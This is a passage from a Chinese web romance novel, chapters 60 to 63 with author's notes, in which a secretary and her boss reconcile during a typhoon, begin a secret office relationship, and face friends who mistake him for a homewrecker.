沈孟青穿上拖鞋去开门,余辛站在门口,注视着她径直说道:“你这海景房楼层太高,还有玻璃窗户,太危险了。” “是有点。”沈孟青的确待得有些害怕,“酒店还有多余的房间吗?” 余辛摇摇头,他来之前就问过了。 他出声说:“去我房间吧。” 沈孟青一怔:“啊?” “我房间楼层低还背风,怎么也比你这安全。” 余辛解释了会,见她不吭声,眉梢一挑道:“怎么,你不敢去?” 沈孟青思忖了下,待在这或是去余辛房间,好像都有点人身安全的风险,虽然是两种不同的威胁。 算了,还是生命安全重要点。 “你等我收拾一下。” 沈孟青简单把一些生活用品放进随身包里,而后关上房门,跟着余辛离开了。 余辛的单间虽说不是海景房,但看着大小也和她那差不多,还有个沙发椅,住两个人是绰绰有余。 “你先在这坐会,我去冲个澡。” 余辛话一说完,当着沈孟青的面便开始一件件脱着上衣,沈孟青连忙背过身,不自然地咳了声。 她提醒道:“注意点行不行,我还在这呢。” 余辛语调平平:“你又不是没看过。” “……” 他要这么大方,那她也不客气了。 沈孟青回过头,凝视着他,还端了杯水,一副目光审视的评委姿态。 余辛拧开衬衫的扣子,脱到最里头一件纯白色打底t恤,手忽而顿住,抓起一把干净衣物往浴室里去了。 沈孟青轻哼一声,朝着他背影说:“到底是谁玩不起啊,小气鬼。”—— 作者有话说: 阿青:我的人身安全暂且不说,先看看你的腹肌[狗头]《 》 60-65 第61章 第六十一章 让我做你男朋友,好不好…… 浴室的门被关上, 沈孟青还听见清脆的一声上锁,防她和防贼似的。 明明是他邀请自己来房间的,还刻意在她面前脱衣服, 这会倒摆出一副高岭之花样来, 生怕被她给染指了。 欲擒故纵。 沈孟青轻嗤了下,伴着里头霹雳哗啦的水花声玩起手机来。 不少朋友看见了海市刮台风的新闻, 给她发来消息询问情况, 沈孟青一一报了下平安后, 点进和李青河的聊天框。 李青河在几分钟前问她: 「你在房间还安全吗?」 「如果害怕的话可以和我说, 我来陪你,别和我见外。」 沈孟青敲着键盘回复说: 「我换了个房间, 很安全, 不用担心。」 浴室的水声停下,没等多久, 里头的人松松垮垮罩了件t恤和长裤就出来了, 他发尾挂着水滴,身上似是还氤氲着雾气,短袖下露出的胳膊肌肉分明,气质干净清冷。 余辛用毛巾擦了擦头发, 望向打字打到指尖冒烟的沈孟青, 寒声说:“和谁聊天呢。” 她将刚到嘴的话吞了回去, 故意说道;“李青河。” 余辛手一顿, 将毛巾抛进衣篓里,酸了句:“你倒是和他聊得殷勤。” “什么殷勤不殷勤的, 人家关心我,我还不能礼貌地多回两句了。” 她话音刚落,李青河就打了个电话来。 沈孟青想找个地方接, 但这房间里也就浴室是个独立的封闭空间,这会估计湿漉漉的,她不愿进去。 余辛看穿她的想法,在床上坐下后,反手撑着上半身,说道:“你就在这打。” “还是说,有什么我不能听的?” 他声音低哑,语调暧昧,沈孟青瞪了他一眼,想越过他去门口聊,这人却横插一条狗腿出来,挡她的路。 她说:“好狗不挡道。” 余辛闷声道:“嗯,我是坏狗。” 和他这坏狗说不通人的大道理,铃声响了很久了,沈孟青一咬牙,索性接通了。 沈孟青:“喂?” “喂,孟青,你换了房间住?”房间里太安静,电话有些漏音,李青河的声音从出声筒零零散散传了出来。 沈孟青被余辛盯得想尽快结束这个电话,短促地回他道:“嗯。” 李青河追问道:“你那风声大不大,需不需要我来陪你会?” 他这句几乎被余辛听了个完全,沈孟青刚想回他,就有只胳膊不安分地攀上了她的腰,还精准地掐住她腰间那块最敏感怕痒的区域。 沈孟青一激灵,手机从一瞬间脱力的手上滑掉,在坠落到地毯上前,余辛松松然一伸手,捞住了它。 只是他这一碰,不小心摁到了扬声器。 李青河的话音在整个房间回荡开:“你怎么不说话了,没事吧?” 沈孟青怒目圆睁,狠狠拧了余辛一把,抬手想去拿回自己的手机,余辛却不断伸长胳膊向后躺去,利用自己的身长优势,钓鱼似的,让她够不着,又好像只差一点点距离,想着再努力一下。 李青河还絮絮说着:“你在哪个房间啊,我还是来找你吧,我不放心。” “不用,不用!”沈孟青半跪着,整个人快挂在余辛身上,她朝手机的方向,略提了些音量喊道,“我很安全,明天再说吧。” 说罢,她小声对余辛说:“快挂了。” “求我。”余辛扬起下巴,直勾勾盯着她。 沈孟青嘴飞快:“求你求你。” 余辛歪了下头,顺她心意按下了挂断。 沈孟青夺回手机的控制权,站直身子后,还不忘踹了下余辛的脚,当场报仇。 余辛亦是站了起来,走到柜台前捣鼓了会,拿出两碗泡面来,往桌上一放,问沈孟青说:“饿不饿。” 下雨的台风天最适合窝在舒适的房间里吃碗热腾腾的泡面,沈孟青眼睛一亮,凑到跟前:“哪来的?” 余辛烧着水,边说道:“看见新闻之后就去买了,遇到这种极端天气,要提前囤点应急物资。” 水很快烧开,滋啦滋啦地浇进泡面的桶里,盖上盖子后,不一会儿泡面的香气就盈满了整个屋子。沈孟青没等满四分钟,饿得迫不及待掀盖开吃,余辛喜欢吃泡烂些的,比她晚了会才吃上。 外头的风刮得更大了些,天气台说台风会在半夜正式登陆海市,此刻窗外已漆黑一团,分不清是天色还是海面,人迹消零,只有大树在风中狂舞不休。 两人默契地都没说话,只埋头吃面。 等填饱了肚子,沈孟青看了眼时间,已近九点。她收拾了下餐余垃圾,起身去卫生间洗漱,打算今晚早点睡得了。 她穿着睡衣再出来时,房间的灯光不知何时变暗了些,余辛斜斜靠在沙发椅上,手里抱着个电脑,一双长腿大剌剌敞着,脑袋上有个顶光,光线洒在他高耸的眉骨和鼻梁上,在眼框处落下一块阴影。 此时此刻,他仿佛脱离了在愈生的身份地位,和从前一般,沈孟青恍然想起他们在酒吧那次见面,也是这样昏沉沉的灯光,她坐在他身边,好像看了他很久。 余辛察觉到她的视线,薄长的眼皮一挑:“怎么了?” “突然有点想喝酒。”沈孟青顾左右而言他。 余辛哑然:“这东西不在应急物资里,但我可以帮你问问酒店,说不定他们有贩酒。” 沈孟青摇摇头,往前走去:“说说而已。” 她看了眼大到足够睡下两人的床铺,又瞥了眼逼仄的沙发椅,向余辛问道:“你睡哪。” “听你的。” 他合上电脑,仰头看着沈孟青。 虽然他们俩曾经很多次睡过同一张床,但如今这种情况下,邀请他也上床睡的话,怎么都感觉有些奇怪。 见沈孟青还真蹙着眉深思熟虑起来,余辛失声一笑,说:“逗你的,你去床上睡吧,我就在沙发椅这躺着。” 沈孟青眨了眨眼,她往床上大字形一瘫,又左边右边各个方向滚了滚,确认怎么也挨不着另一边后,她拍拍床铺说:“你困了就睡床上吧,我试了下,两个人绰绰有余。” 余辛注视着她,眸光一闪,面色沉沉道:“如果李青河来你房间陪你了,你也会让他睡你旁边吗。” “怎么可能!” 沈孟青下意识反驳出口。 她这话一出,才反应过来,她仿佛掉入了某人的圈套。 看向沙发椅上眉眼弯了下的那人,沈孟青恼羞成怒,拽起被子一把遮在头上:“不和你说了。” 被子盖住了房间内大部分的光线,四下十分安静,沈孟青心脏砰砰,一下又一下撞击着她的胸骨。 没多久,旁边传来窸窸窣窣的动静,床榻明显地往那边深陷了下,是有人躺上了床。 沈孟青抓紧了被子,终是没忍住,转过身去,朝那高高大大的身影说:“你还是睡沙发椅吧。” “为什么。”余辛半靠在床头坐着,抱起胳膊俯视着她。 沈孟青理直气壮:“你在这我睡不着。” 余辛垂下一只手撑在床上,借力勾下头,缓缓朝沈孟青露出的那颗小脑袋靠近,他身上的香味拌着沐浴露的清香化开,直直卷入沈孟青的鼻腔里,十分好闻。 他眉目微挑:“你心里有鬼,当然睡不着。” 沈孟青:“我才没有。” “沈孟青,你要什么时候才敢承认。” “承认什么?” 余辛的目光紧紧锁在她洁净姣好的面庞上,伸手弹了下她脑门:“承认你也对我动心了。” 余辛这句话直直钻入沈孟青的脑中,顺着她的血液流动到心脏,不用她开口确认,心脏错乱的频率足以出卖她的答案。 她沉默片刻,微微叹了口气,说:“是,我是喜欢你。但是——” 她话还没说完,余辛就松开了撑着的手,轻车熟路地抚上沈孟青的脸,轻轻托起她的头,含住她柔软的唇瓣。 他不想听但是之后的内容,管它是什么,至少,他听见了沈孟青亲口说出的心意。 余辛吻她的力道由缓至急,她没说出口的字句被搅碎,外头狂风大作,她明明在安全又温暖的房间里,却好似身在台风眼的中心,被余辛吻到昏头转向,陷入漩涡。 连她自己都忘了方才她在那句但是后是想说什么,她的身体对余辛太过熟悉,余辛完全掌控着节拍,对哪种吻法最能取悦到她烂熟于心,不用任何言语,她的身体就已缴械投降,诉说着对他的思念。 就在她胳膊攀上余辛坚实的后背时,手机铃声突兀地响起,给两人的气氛按下暂停键。 她的手机离余辛更近,余辛伸手拿来,看见屏幕上李青河三个字后,他丢给沈孟青,出声说:“能不能给你这手机静音了。” “静音了工作上有急事怎么办?”现下这时刻不适合接电话,沈孟青按了下音量键,铃声骤然停下。 余辛无语地捏上她的脸:“我不找你的话,能有什么急事?” 沈孟青噎住,半晌后道:“那也倒是。” 余辛直接替她开了静音,而后,手机被他塞到枕头底下。 他没再继续,只是垂头看着面色潮红的沈孟青,扬了下嘴角:“我好像还欠你个东西。” “什么东西?” 沈孟青不解,她怎么不记得有这回事。 余辛没吭声,往下移动了些,沈孟青霎时间领会到他意思,心脏一下提到了嗓子眼,她不自觉伸出手去,但只触及到了余辛微微扎人的头发。 她还没来得及说出拒绝的话,一股酥酥麻麻的震颤感就一路蔓延到她的脚尖,她小腿蜷起,指尖紧紧攥着被子。 她犹如一棵初次经历台风天的树木,被泼天的雨点淋湿了个透彻,暴风不知疲倦地一下下卷过她的身体,她不再畏惧,对这样前所未有的天气感到新奇而兴奋,直到完完全全的接纳,和暴风骤雨一同共舞。 数不清过去多久,沈孟青才从风暴中心脱身出来。 她瞥见余辛拆着盒子包装,不忘嗔他一句:“这也是应急物资?” 余辛低声回她:“这还不应急?” 沈孟青没忍住,噗嗤笑了出来:“没看出来,你还会讲冷笑话呢。” 余辛没接话,细细密密地又落下吻去。 台风刮了一整晚,连带着房间里都变得各处潮湿,她听了一夜的风声,直到清晨的日出时刻,外头依旧如浓墨般黑暗,她才沉沉睡去。 …… 上午。 余辛悠悠转醒时,一抬眼就瞥见沈孟青在回李青河消息。 他连带着起床气一起,捞过沈孟青纤弱的腰肢,埋在她头发里说:“你怎么又在和他聊天。” 沈孟青说道:“昨晚不接电话,总得和人说声抱歉,解释几句。” 余辛:“怎么解释的,说来听听。” 沈孟青:“说我睡着了,一点没听见。” 余辛点点头,生起逗弄她的坏心思,在她耳际说道:“你昨晚……那么大声,确实会听不见。” 沈孟青脸色一红,弯起胳膊往后撞了下余辛的臂弯:“你就爱吃他的醋是不是。” “难道你还有别的男人的醋让我吃?” 余辛按住沈孟青的痒痒肉,要挠不挠的,恼人得很,沈孟青铆足了劲拍掉他的手:“爱吃就多吃点。” 有些口渴,沈孟青坐起身,准备下床去倒杯水喝,扶在床沿的手却被余辛拽住。 他望过来的眼神格外认真,轻柔无比,像是冬日严寒许久后从空中降临的一束阳光。 他有一腔涌动的爱意想要抒发,但他拿捏不定沈孟青的心思,或许是在深爱的人面前,人总是会不够自信,预期降得一低再低。再多的言语,这时候只化作一句: “沈孟青,这次,让我做你男朋友,好不好。” 他很怕沈孟青再次说出他们就这么相处这种话,便主动抛出了问题,紧张又期盼地等待着她的回答。 沈孟青头一回见他脸色这么忐忑,眼尾一弯。 “那就试试吧。”她说道—— 作者有话说:\和好喽/\和好喽/\和好喽/ 奔走相告!!! 辛子几招欲擒故纵审讯套话放低姿态 互帮互助终于在这章达成[害羞] 第62章 第六十二章 他骂我小三 台风过境后, 空中阴云密布,风速听着和缓了一些。沈孟青走到窗前,外头的景致是背海的一面, 但也歪七扭八倒了好几棵树, 可见昨夜风力的急猛。 她站着没动,忽而腰间一热, 余辛揽了上来, 轻声走到她身边。 “看什么呢。”余辛问道。 沈孟青摇摇头:“随便看看。” 余辛侧头看向她, 脑子里纠结起她方才那句话, 两手扶住她肩膀,调整至面对他的方向。 他低声说:“为什么只是试试?” 沈孟青哼了声, 戳他道:“就是……还得看你表现。” 她并非是心里还有介怀, 只是先前被他骗了太久,总得从他身上也啃块肉下来出出气, 吊着他会。 余辛眉毛一挑, 两只手从肩头滑至她腰际,头一垂,在沈孟青唇瓣轻轻落下一吻:“那我努力。” 他神色认真,像递交投名状似的, 沈孟青弯了弯嘴角, 搂过他的脖颈, 垫脚迎了上去。 又下起小雨, 雨滴落在玻璃上,将画面变得模糊, 犹如一张巨大的织网,笼罩着这一小方天地。 沈孟青光脚踩在地毯上,余辛托住她腰的手微微使劲, 给垫脚的她借了点力。温热的气息交织在一起,两人的身体紧紧相贴,脚步一点,不知道是谁失去平衡,双双倒在沙发椅上。 沙发椅太小,余辛怕沈孟青磕碰到,翻身垫在了底下,沈孟青被他抱着没法自主动作,只得跨坐在他身上。 这小小插曲没有打断两人的接吻,沈孟青捧住余辛的脸,从吮吸转为玩闹般的轻啄,和吃米粒的小鸡崽似的。 倏地,余辛抬手挡住她,又扯回刚才的话题:“那你不会对外还说自己单身吧?” “这才刚上位多久,你就摆出一副男朋友的姿态来了。”沈孟青笑了下,掐住他脸说。 余辛睨了她眼:“这不有人对你虎视眈眈吗。” “找个时机吧,我会和他说清楚的。” 沈孟青说完,想起那对他穷追不舍的祝大小姐来,嗔他句:“你桃花也不少啊。” 余辛较劲起来:“谁要和我发台风天需不需要来陪我,我指定下一秒拉黑她。” 沈孟青瞪了瞪他,起身往后退了几步,坐在床上说:“这事还是先瞒住公司的人吧。” 余辛知道沈孟青的顾虑,本来就才在一起,关系不算牢固,再加上办公室恋情毕竟是爆炸性话题,如若让公司那伙爱嚼舌根的人知道了,他倒还好,沈孟青是肯定会被其他人议论的。 他们聊了会后,达成共识,决定在公司里就保持工作状态,等到合适的时机再公开。 这时,唐思给沈孟青发来消息,问她去不去酒店的室内网球场打网球。 沈孟青其实不太爱球类运动,但实在在房间里闷得太无聊,出去运动运动也不错。 她和余辛提了嘴这事,余辛看着手机说:“李青河也约我了。” “那你去不去?” 余辛把手机一揣:“当然得去了。” 他盯着沈孟青,意有所指,沈孟青嘁了声,她像是养了只领地意识极强的小狗,要时时刻刻跟在她后面,不许她沾染其他宠物的味道。 两人都没带打网球能穿的衣服,打算去场地再借,余辛陪沈孟青回房间画了个淡妆,还给她叫了客房服务送餐。这回反倒沈孟青食欲平平,余辛胃口大开,将她剩下没吃完的都扫干净了。 他们到网球馆时,另外两人已经到了,坐在门口的沙发上等他们。 换好衣服后,四人到球场热身,沈孟青和唐思都不太会打网球,于是李青河提议他们男女双打。 “那我们自由组队?”李青河提议说。 余辛眉目微冷,出声道:“就按公司分吧,你和唐秘书一起。” 唐思连忙附和说:“我同意。” 她和余辛根本不熟,平常看他待人也十足冷淡的样子,如果分到了一组,她都不敢想象会有多尴尬。比起这种局面,她宁愿和自己还算温和的老板一组。 李青河转而看向还没发表意见的沈孟青,沈孟青耸耸肩:“那就我和余总一组吧。” 正好,她清楚余辛的网球实力,和他搭档能轻松些。 那头李青河和唐思在位置站定,李青河也了解余辛,他叮嘱唐思说:“余总打网球很厉害,如果是实在接不到的球,也不用去拼,免得受伤。” 唐思点点头,给商务伙伴送分嘛,这点人际交往小技巧,她还是懂的。 等对局开始之后,渐渐的,她才明白李青河是真的在提醒她。 余辛的球带着杀气似的,球速又快用力又稳,破风旋过来的方向她根本无法预判,反应速度也不够快,漏掉了好几个球。 还好沈孟青球技和她差不多,甚至比她逊色一些,她不算给自己老板拖后腿。 过了大概半个小时,沈孟青和唐思都有点体力不支,下场喝水休息,坐在椅子上看两位老板厮杀。 她们边观球,边有一搭没一搭地聊着,从昨晚的台风聊到各自的公司,又不知怎么,扯到了场上那两人身上。 唐思小声问沈孟青说:“你们老板是不是特别护短那种,我老感觉他看着生人勿近,不太好相处,但又觉得他好像对你和那个陈特助都挺好的。” “算是吧。” 沈孟青想了下,余辛的确是个对员工不错的上司。 她轻轻撞了下唐思的肩膀:“难道你们李总对员工不好么,他看起来不像是个会发火的人。” 唐思说:“其实我见过几次他发火,也挺吓人的。不过大部分时候李总都很平易近人,不会太有距离感。说起来,你和李总怎么认识的呀?” 沈孟青略过了相亲的部分,只说是家里长辈互相认识,因而他们也就认识了。 唐思了然,难怪李青河看着对她比较亲近。 她八卦心思上来,正想又问沈孟青几句,场上两位男士结束了球局,往这边走来喝水,唐思立马闭上了嘴。 快到饭点时刻,几人打完球,索性去餐厅一起把晚饭解决了。 仍是上次吃早餐时的座位分布,气氛却轻微的改变了,沈孟青坐下吃饭时,余辛的腿在桌子底下有意无意撞了下她的膝盖,沈孟青趁对面两人没注意,给了他一记眼刀,重重拍了下他。 唐思埋头吃着饭,李青河望向沈孟青,问她:“你们打算什么时候回去?” 余辛先开了口:“明天。” “明天的票我没买着,只能后天再走了。”李青河遗憾地说。 唐思啊了一句,有点伤心地说:“孟青姐你明天就走了,我还想着明天也约着一起玩呢。” 沈孟青笑着说:“没事,回北城了你也可以找我。” 李青河插嘴道:“回北城了唐思就想不起来找你了,她除了工作时间以外,都和她男朋友腻歪呢。” 唐思红了脸:“李总,没这么夸张吧。” 提到这话题,唐思突然悄摸瞥了沈孟青两眼,终是没忍住,向她问道:“孟青姐,你有男朋友吗?” 这一句话说出口后,整桌人的视线都投射在沈孟青身上。 她动作一顿,说:“有。” 听了她的回答,桌上三人神色各异。 唐思是听到了八卦的两眼放光,李青河是震惊愕然,只有余辛最正常,看起来心情很好地吃着菜。 李青河惊讶过后,心中似有海浪翻腾,皱眉问她说:“什么时候的事?” 沈孟青抿了抿嘴,倘若说就几个小时前,这两人怕不是会觉得她在玩笑敷衍,她含糊着说:“也不算很长的时间,还没告诉身边的朋友,想等稳定了再说。” 难怪他不知道,李青河看着碗里的菜,顿时有点不是滋味,把筷子一撂,不想吃了。 唐思起了兴致,看不见自家老板越来越黑的脸,追问沈孟青说:“帅吗!” 沈孟青被逗笑:“我以为你会挖什么个人信息呢,结果就问个帅不帅。” “那当然了,孟青姐你这么漂亮,如果找的男朋友不够帅,我会心痛的。”唐思表情真诚地说道。 沈孟青心想,她最初动心思的时候,可不就是因为余辛那张脸。 但她有点逗弄余辛的意思,保守地说: “是帅的吧。” 身边的人果然不甚满意,开口说:“沈秘书,帅就是帅,不帅就是不帅,帅的吧是什么意思?” 沈孟青努力表情管理,清清嗓说:“是个帅哥。” 余辛这才放过她。 李青河看着余辛,感觉他的反应有点不对劲。 他给余辛发去消息,说吃完饭聊一聊,余辛拿起手机看了眼,敲下了个好,给他发去。 唐思还在那头兴奋地问沈孟青她男朋友的情况,还好问的都不是什么指向性太强的问题,沈孟青一一答上,晾谁也猜不出她说的就是余辛。 吃完晚饭,两位男士一一送了唐思和沈孟青,等只剩下他们俩人,李青河提出去外头抽根烟,余辛便陪他去了。 打火机在夜色中燃起,李青河吸了口烟,烟雾圈圈飘起,他朝余辛说道:“你也喜欢沈孟青,对吗。” 这事旁人不知道,他和祝绍明这种认识余辛快半辈子的人一眼便能瞧出来。缘分也是个奇怪的东西,让他们俩喜欢上了同一个女人,还都爱而不得。 余辛两手插兜:“是又怎样。” 李青河吐出口气,出乎意料道:“你还挺洒脱。” 余辛轻笑一声:“我可不洒脱。” “什么意思?”李青河拿不准他话意,蹙起眉,“人都有男朋友了,你还不放弃?” 余辛不搭话,这下李清河的情绪从失落中出来,变成了气闷:“余辛,你不至于去当小三挖人墙角吧!” 他本来还想加句你爸知道不打断你的腿,忽地想起他爸已经走了,又想说你妈不得气到进医院,可他妈也根本不管他,怕不是两人都二十年没见了。 李青河思量了半天也不知道怎么骂醒他,只好平白无力地说了句:“你要闹这种事,那些吃人不吐骨头的股东绝对赶你下台,愈生整个公司都会受你影响。” 余辛无所谓地说:“担心担心你自己吧。” 他拍了拍李青河的肩膀,转身进了酒店,免得待太久被他那烟味沾上。 李青河见他油盐不进,在后头喊道;“回北城之后我让祝绍明再找你聊聊,你千万别上头干些出格的事!” 坐电梯上了楼,余辛轻车熟路地找到沈孟青的房间,敲了敲门。 沈孟青打开门,余辛贼溜地钻了进来,反手带上门,把她抵在他和门的中间。 余辛抱住沈孟青,头耷下靠在她肩窝,语调气郁地说:“你男朋友被人骂了。” 沈孟青不解道:“谁骂你了。” “李青河。”余辛上手揉了揉沈孟青的耳尖,“他骂我小三。” 沈孟青自个暗地里脑补了下事情经过,没憋住,放声笑了起来。 “他还让我别干出格的事。”余辛伸出手,虎口处贴上沈孟青的下巴,覆上她微红的唇珠,“可是,我好像把不该干的全干完了。” 沈孟青陪他演戏:“那你可太坏了。” “是么,我还能更坏一点。” 余辛掐住沈孟青的腰,将她圈入自己的怀抱,垂头深深重重地吻了下去。 海市的温度比北城高上不少,沈孟青这会在房间里只穿了件单薄的针织衫,修身收腰的款式,紧密贴合着她玲珑身段,余辛的手从她背部抚过,掌心温热的温度透过衣料传入,点燃她微凉的肌肤。 整洁的床铺被两人倒下的动作压皱,余辛的吻从唇瓣移动到耳际和锁骨,他知道沈孟青房间里没那东西,只得这般耐着性子地厮磨。两人在可掌控的界限内互相应和,心里涌动的情愫却愈发茂盛,在一发不可收拾前,尽力刹住了车。 沈孟青落进余辛晦暗的双眸里,感受到他耸动的情况,嗔他:“这可是你自己惹火上身。” 余辛盯着她,喉结一滚,没说话。 沈孟青抬起手,指尖擦过余辛唇角沾染上的口红,倏地感叹说:“你别说,你看着还真有点像撬墙角的意思。” “?” 余辛拽住她想收回去的手腕,侧头用唇贴上了她的掌心,一双微挑的眼睛深情动人。 沈孟青解释说:“你又年轻,又长得勾人,特别像是出门祸害人的。” 余辛轻笑一声:“我就当你夸我了。” 沈孟青却突然从自己的话里尝到了点醋味,嘟囔着说道:“但是,你要是真敢花心,我绝对把你踹了还不让你好过……” 余辛往前挪了挪,拥紧了沈孟青,把她的话掐断。 他将头深埋进怀里人的颈侧,沈孟青身上的馥郁香气将他裹挟,他十足地贪恋这明媚的香味。 “放心吧,只有你了。”余辛闷声说道,“阿青,以后不管你还爱不爱我,我都不会离开你了,如果你过段时日真爱上了别人,那我撬墙角也不是不行。” 他说:“该害怕的人是我,你别不要我才对。”—— 作者有话说:两个人谈恋爱谈出一种偷情的意思来了(x) 辛子:很患得患失的一款坏狗 阿青不要我了我就为爱做三 立个 flag 这个月完结!![墨镜] 第63章 第六十三章 姐姐,我爱你 第二天, 天空重回晴日蓝色,回北城的飞机在早上九点,沈孟青六点便起来收拾行李了。 凶猛的飓风消失无踪, 此刻微风徐徐, 沈孟青开了点窗户,靠在窗边, 被风吹拂得困意沉浓, 窗沿又太硬硌得她脑袋疼, 睡不着。 她调整了下坐姿, 干脆往另一边一倒,靠在余辛肩头上。 送他们去机场的仍是来时的商务车司机, 他在望向后视镜时瞧见后头两人亲密的动作, 差点没绷住表情。 果然他的猜测是对的,这对老板和秘书就是一对啊! 后座之人没在意到他, 余辛调整了下位置, 让沈孟青靠得更舒服些。 大概是由于没休息足,精神不佳,沈孟青几乎晕了一天的交通工具,一整天都不在状态。中午落地北城时, 余辛本来还想带她出门吃个饭, 但她实在没了力气, 他便带沈孟青回了檀香路, 让陈姨做些吃食垫垫肚子。 机场去檀香路有段路程,沈孟青刚坐上车, 嘴里就有些发涩,余辛瞧出来她晕车,在路边找了个便利店, 进去买了一大袋零食。 他把袋子递给沈孟青,摸了摸她耳垂;“难受的话吃点开胃的吧,酸甜咸辣的口味我都买了点,如果吃不下只想吐,那就全都拿出来,吐袋子里。” 沈孟青咽了咽口水:“没怎么吃东西,吐不出来。” 她这会软趴趴的,没了平时开朗那劲儿,打了霜似的蔫着。 进了檀香路的别墅群,余辛停好车后,特意从车头绕了半圈,他抓着沈孟青的手,怕她没了力气拉她下车。 陈姨正在厨房忙活,没出来接他们,等两人走近餐厅,她才听见声音,边炒着锅边喊了声:“回来啦!” 她见火候差不多了,趁着菜乘出来的间隙,她回头看了眼,当瞥见那两人牵在一起的手后,她顿时乐不可支,手里的菜都快偏移原点倒在桌上了。 沈孟青也没什么食欲,她见陈姨已经炒好好几个菜了,便劝她别再多做了,直接上桌吃饭。 余辛主动端起两盘菜在前头走,陈姨由着他,拉住沈孟青落后了几步,侧头问她:“你答应那臭小子了?” 沈孟青浅浅笑了下,点点头。 陈姨轻拍着她的手背,连说了好几声那就好。她转而又道:“那小子的脾气我知道,表面看着冷,实则认定了个人,那就是会用心对待的。但他也有点不好,就是不爱说心里话,尽爱挑些难听的说,故意逗你,如果你在他那吃到闷气,千万别自己憋着,要不就揍他,要不就告诉我,我揍他。” “好。”沈孟青说,“放心吧陈姨,我不会让自己受委屈的。” 陈姨倒更像她这头的人,听了她这话,满意地笑了起来。 不过才几次见面,她就看出来了沈孟青的品性,时常周末还来找余辛忙工作的事,多么努力上进,怎么也不会是个爱为难别人的人,脾气比余辛自然要好上不少。相处下来,她也瞧得明白沈孟青是个外表看着开朗乐观,内心格外柔软的人,本质上和余辛倒有点像,作为女人,她明白在谈恋爱里有多容易受伤吃亏,平日能帮上沈孟青点总是好的。 上了桌,陈姨不免又训导余辛了几句,让他一定要多多关照沈孟青对她好云云,余辛头一回这般乖顺地听她训诫,一米八九的个子缩在座位里,没了脾气,显得十分弱小好笑。 陈姨的手艺自是不用多说,沈孟青肚子饱了些后,才从晕车里缓了些过来。 余辛下午有点事,他让沈孟青先在这边休息一下,等他忙完回来再送她回家。 沈孟青跟着余辛去了他房间,他卧室的装修风格倒比福江路那个房子的要多了许多暖色调的装潢,和整栋别墅的欧式风格一致,是以前那会很流行的家装偏好。 房间里的生活气息不算太足,没有放男生们爱的篮球足球,书还算多些,最有人气味的就是桌头一张金毛的照片。 沈孟青拿起来那张照片,问余辛说:“你养了他多久?” “不到两年。”余辛眼里的情绪淡了淡。 沈孟青摸索了下相框,照片里的金毛咧着嘴,像是在盯着镜头开心地笑着,小动物的眼睛清澈而纯真,即便没见过面,她也能想象到,陪伴过他无数个日日夜夜的金毛对余辛有多么的重要。 余辛见沈孟青看着照片出神,拍拍她说:“你先休息吧,累了一上午了。” 沈孟青点点头,脱下外套卷进被窝里,她躺在枕头上,朝余辛问道:“你不睡会再出门吗?” “不用,我不困。”他回道。 沈孟青啧啧两声:“果然老板都是不用睡觉的。” “……” 余辛伸手将沈孟青的手放进被子里,替她掖好:“好好休息,睡一觉我就回来了。” “嗯。” 沈孟青已然有些困了,闷着鼻音回他。 余辛出了别墅,开车去祝绍明找好的一个茶室。 李青河真是一秒都等不及,昨晚就和祝绍明说了下他和沈孟青的事。一直到今天中午,余辛被祝绍明轰炸了好几个电话,他一个都没接,祝绍明便转换攻势,变成了狂发消息,说是知道他今天回,已经约好了下午三点的地方,他要是不现身,明天起自己就不管上班下班都缠着他,让他没办法对沈孟青下手。 到了茶楼,余辛被领着到了一个雅阁包间,祝绍明早就到了,在里头坐着泡茶喝,几杯茶下去,心里熊熊燃烧的火是怎么也压不下去。 在他眼里,余辛向来是个不重儿女情长的人,更别说会干做人小三这种出格的事儿,如今碰上沈孟青,完全变了个人,什么事都干得出来,他说什么也必须把这好友给拉回正道来! 余辛进了门,祝绍明给了他一记眼刀,态度强硬地冷哼一声。 他还给李青河打了个语音电话,让人线上参与这三方会谈的道德教育课。 余辛松松然拉开了个椅子坐下,祝绍明把手机往桌上一撂,对李青河说:“他人来了。” “行。”李青河在电话里应了声。 余辛眼皮都没抬,冷声说了句:“你俩还挺串通一气。” 祝绍明气他这副不以为意道貌岸然的样子,差些从椅子上跳起来:“大哥,这时候了,你还不醒悟还有闲心说我们呢,我们这叫为你着想,助人为乐!如若换成大街上随便个人,你拽他过来和我说人是小三,我管都不管,他爱咋咋地,我们是为了唤醒你的良知,避免你堕入深渊!” 李青河也帮腔道:“是啊余辛,不论怎么说,既然沈孟青都有男朋友了,你也该放手了。” “我看你俩是闲的。” 余辛喝了口茶,气定神闲,他本来不想瞒着这两人,但他俩这误会太过清奇,看着祝绍明这急得团团转的样子,他反倒生了坏心思,想看看这两人还能说出什么话干出什么事来。 祝绍明一拍脑门,气得血压飙升,说不出话来。 余辛懒懒开口:“你们急什么,我又没撬墙角成功,人和男朋友好着呢。” “你还徐徐图之起来了你,成功了那还得了,等会人沈孟青男朋友网上一曝光,你俩都吃不了兜着走,一辈子被盖上那些难听的标签。”祝绍明抱着胳膊说。 李青河在电话那头也没吭声,他有点意外,没想到余辛对沈孟青用情至深,连自己和愈生的名声都能不管不顾,他从没见过余辛如此不理性的一面。 祝绍明抬起手,指着余辛说:“我和你说,我以后真就每天跟着你生活工作,寸步不离地盯紧你。” “你起得来么你?” 余辛冷不丁直戳他软肋,祝绍明没上过班,就爱投资些酒吧,作息颠倒,根本做不到上班的作息。 “你别管!”祝绍明正上头着,把手机切到闹钟页面,“我现在就设定好明早七点的闹钟,备注就是小三人人喊打,我就不信我看见还起不来。” 余辛轻笑了声,祝绍明觉得他没救了,两眼一黑,把话筒转交给李青河。 李青河情绪比祝绍明稳定些,他从愈生的公司层面出发,给余辛洋洋洒洒分析了十几分钟,祝绍明那压不下去的气火被他这催眠的话术给浇灭,坐在椅子上快要睡着。 余辛顺着他话头,聊起愈生和康河的合作来,话题一偏,没多久,两人又敲定一次合作。等李青河确认完,余辛顺势说下周给他发合同细节,伸手挂掉了电话。 祝绍明起了困意,脑子不得转,懵懵地看电话端了,问余辛道:“聊完了?” 余辛点了下头,拿起外套:“走吧,我得回去了。” 祝绍明打了个呵欠,也站起身来:“行,回去好,不是去找你那沈秘书就行。” “嗯。” 余辛噙着笑,眼尾微微弯下,眸光闪动。 …… 回到家时,屋子里头散布着烘焙的甜香,余辛走到厨房,沈孟青和陈姨正捣鼓着烤箱。 沈孟青给陈姨拿手套的间隙,瞥见余辛走进来,朝他道:“回来了。” 中午补了个好觉,沈孟青睡醒之后,见陈姨在厨房忙活,她便提议向陈姨学点烹饪手艺。 还没到吃正餐的时间,陈姨想了会,决定教她做些曲奇饼干。 